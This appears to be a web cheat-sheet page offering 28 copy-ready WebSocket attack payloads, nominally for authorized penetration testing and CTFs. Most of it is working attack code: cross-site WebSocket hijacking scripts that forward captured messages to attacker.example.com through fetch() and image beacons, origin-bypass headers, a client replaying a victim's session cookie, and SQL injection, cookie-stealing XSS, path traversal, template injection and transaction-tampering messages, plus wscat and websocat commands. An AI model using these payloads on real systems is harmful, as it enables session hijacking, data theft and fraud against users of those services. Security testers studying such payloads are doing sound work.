Copy-ready WebSocket attack payloads and PoCs for authorized testing: CSWSH, origin-check bypass, message/auth injection, and wscat/Burp tooling. (28 payloads)
GET /chat HTTP/1.1
Host: target.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://target.example.comOrigin: https://attacker.example.comOrigin: https://target.example.com.attacker.example.comOrigin: https://eviltarget.example.comGET /chat HTTP/1.1
Host: target.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13Origin: null<script>
var ws = new WebSocket('wss://target.example.com/chat');
ws.onopen = function () { ws.send('READY'); };
ws.onmessage = function (e) {
fetch('https://attacker.example.com/exfil?d=' + encodeURIComponent(e.data));
};
</script><script>
var ws = new WebSocket('wss://target.example.com/chat');
ws.onopen = function () {
ws.send(JSON.stringify({action:'getChatHistory'}));
};
ws.onmessage = function (e) {
new Image().src = 'https://attacker.example.com/c?d=' + btoa(e.data);
};
</script>const WebSocket = require('ws');
const ws = new WebSocket('wss://target.example.com/chat', {
headers: { Cookie: 'session=VICTIM_SESSION_COOKIE', Origin: 'https://attacker.example.com' }
});
ws.on('open', () => ws.send('{"action":"whoami"}'));
ws.on('message', d => console.log('RECV:', d.toString()));<iframe sandbox="allow-scripts" srcdoc="<script>new WebSocket('wss://target.example.com/chat').onmessage=e=>top.postMessage(e.data,'*')</script>"></iframe><script>
var ws = new WebSocket('wss://target.example.com/chat?token=' + (new URLSearchParams(location.search)).get('t'));
ws.onmessage = e => fetch('//attacker.example.com/x?d=' + encodeURIComponent(e.data));
</script>{"action":"auth","token":"' OR '1'='1"}{"action":"setUser","username":"<img src=x onerror=alert(document.cookie)>"}{"action":"getProfile","userId":1337}{"action":"admin.deleteUser","userId":42}{"username":"admin","password":"' OR 1=1-- -","action":"login"}{"action":"subscribe","channel":"../admin/notifications"}{"action":"transfer","from":"victim","to":"attacker","amount":0.01}{"action":"updateCart","itemId":99,"price":0.00}{"action":"message","text":"%n%n%n%s%s%s"}{"action":"render","template":"${7*7}"}AAAAAAAAAA...(large payload, e.g. 10MB single frame){"action":"ping","data":"�"}wscat -c wss://target.example.com/chat -H "Origin: https://attacker.example.com" -H "Cookie: session=VICTIM_SESSION"wscat -c wss://target.example.com/chat --no-check -x '{"action":"whoami"}'websocat -H='Origin: https://attacker.example.com' wss://target.example.com/chatProxy > WebSockets history → right-click frame → Send to Repeater → edit JSON → SendProxy > Options > Intercept WebSocket messages (client-to-server / server-to-client)Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 28 WebSocket payloads for testing WebSocket Security vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or open the WebSocket Exploitation generator to build customized WebSocket variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all WebSocket payloads are completely free, with no account required. Everything runs in your browser.